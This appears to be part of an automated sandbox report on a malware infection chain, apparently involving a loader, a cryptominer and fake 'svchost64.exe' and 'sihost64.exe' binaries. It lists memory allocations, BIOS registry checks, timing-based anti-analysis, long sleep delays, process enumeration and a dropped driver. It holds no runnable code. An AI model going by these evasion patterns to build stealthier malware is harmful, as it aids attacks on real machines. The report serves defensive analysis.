Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Memory allocated: 1B220000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Memory allocated: D40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Memory allocated: 1B3E0000 memory reserve \| memory write watch
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Memory allocated: CB0000 memory reserve \| memory write watch
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Memory allocated: 1B2A0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04CC0942 rdtsc

0_2_04CC0942

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Code function: 7_2_00401B3F GetCurrentProcessId,CreateToolhelp32Snapshot,fwrite,Process32First,_stricmp,Process32Next,CloseHandle,CloseHandle,

7_2_00401B3F

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599854
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599716
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599534
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599285
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599127
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 598988
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 598850
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 598734
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 598625
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 598515
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599803
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599687
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599552
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599436
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599327
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599217
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599108
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 632	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 367	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 570	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2894
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6915
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7641
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1925
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1292
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7248
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2363
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8090
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8107
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8396
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Window / User API: threadDelayed 1418
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8604
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 492
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Window / User API: threadDelayed 579
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Window / User API: threadDelayed 1064
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9208
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6049
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3564
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7996
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1373
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6750
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2914

Source: C:\Users\user\AppData\Local\Temp\svchost64.exe

Dropped PE file which has not been started: C:\Windows\System32\Microsoft\Libs\WR64.sys

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3132	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6036	Thread sleep count: 632 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6036	Thread sleep time: -1264632s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3568	Thread sleep count: 367 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3568	Thread sleep time: -11010000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4852	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3180	Thread sleep count: 641 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3180	Thread sleep time: -1282641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1544	Thread sleep count: 570 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1544	Thread sleep time: -1140570s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe TID: 5944	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe TID: 7212	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe TID: 7212	Thread sleep time: -1020000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe TID: 7696	Thread sleep time: -570000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe TID: 7532	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe TID: 1436	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep count: 2894 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep count: 6915 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4048	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3916	Thread sleep count: 7641 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4600	Thread sleep count: 1925 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4208	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 2740	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7292	Thread sleep count: 8008 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5012	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep count: 1292 > 30
Source: C:\Windows\System32\services64.exe TID: 5960	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1236	Thread sleep count: 7248 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3896	Thread sleep count: 2363 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5368	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\services64.exe TID: 888	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4304	Thread sleep count: 8090 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1704	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4228	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2996	Thread sleep count: 8107 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2784	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3020	Thread sleep count: 8396 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5260	Thread sleep count: 133 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6192	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3740	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6412	Thread sleep count: 1418 > 30
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -599854s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -599716s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -599534s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -599285s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -599127s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -598988s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -598850s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -598734s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -598625s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6436	Thread sleep time: -598515s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6904	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6748	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe TID: 6868	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe TID: 3748	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep count: 8604 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5320	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep count: 492 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 8120	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 8120	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6452	Thread sleep count: 579 > 30
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 8120	Thread sleep time: -599803s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 6452	Thread sleep count: 1064 > 30
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 8120	Thread sleep time: -599687s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 8120	Thread sleep time: -599552s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 8120	Thread sleep time: -599436s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 8120	Thread sleep time: -599327s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 8120	Thread sleep time: -599217s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 8120	Thread sleep time: -599108s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 2812	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe TID: 7820	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe TID: 7896	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe TID: 1984	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2412	Thread sleep count: 9208 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8124	Thread sleep count: 6049 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8124	Thread sleep count: 3564 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6712	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6008	Thread sleep count: 7996 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2200	Thread sleep count: 1373 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4364	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1240	Thread sleep count: 6750 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1240	Thread sleep count: 2914 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 396	Thread sleep time: -6456360425798339s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Code function: 7_2_00402218 GetSystemInfo,GetSystemInfo,GlobalMemoryStatusEx,GlobalMemoryStatusEx,GetComputerNameA,GetComputerNameA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,sprintf,printf,

7_2_00402218

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599854
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599716
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599534
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599285
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599127
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 598988
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 598850
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 598734
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 598625
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 598515
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599803
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599687
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599552
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599436
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599327
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599217
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 599108
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

